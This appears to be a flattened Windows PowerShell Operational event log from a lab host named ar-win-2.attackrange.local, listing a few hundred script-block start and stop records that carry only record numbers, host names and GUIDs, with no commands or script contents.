410615103150x0672759Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672758Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672757Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672756Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672755Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672754Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672753Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672752Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672751Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672750Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672749Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672748Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672747Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672746Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672745Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672744Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672743Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672742Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672741Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672740Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672739Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672738Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672737Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672736Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672735Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672734Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672733Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672732Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672731Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672730Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672729Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672728Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672727Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672726Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672725Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672724Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672723Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672722Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672721Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672720Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672719Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672718Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672717Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672716Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672715Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672714Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672713Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672712Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672711Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672710Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672709Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672708Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672707Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672706Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672705Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672704Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672703Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672702Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672701Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672700Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672699Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672698Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672697Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672696Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672695Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672694Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672693Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672692Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672691Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672690Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672689Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672688Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672687Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672686Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672685Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672684Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672683Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672682Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672681Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672680Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672679Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672678Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672677Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672676Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672675Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672674Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672673Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672672Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672671Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672670Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672669Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672668Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672667Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672666Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672665Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672664Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672663Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672662Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672661Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672660Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672659Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672658Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672657Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672656Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672655Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672654Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672653Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672652Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672651Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672650Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672649Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672648Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672647Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672646Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672645Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672644Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672643Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672642Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672641Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672640Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672639Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672638Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672637Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672636Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672635Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672634Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672633Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672632Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672631Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672630Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672629Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672628Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672627Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672626Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672625Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672624Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672623Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672622Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672621Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672620Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672619Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672618Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672617Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672616Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672615Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672614Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672613Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672612Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672611Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672610Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672609Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672608Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672607Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672606Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672605Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672604Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672603Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672602Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672601Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672600Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672599Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672598Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672597Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 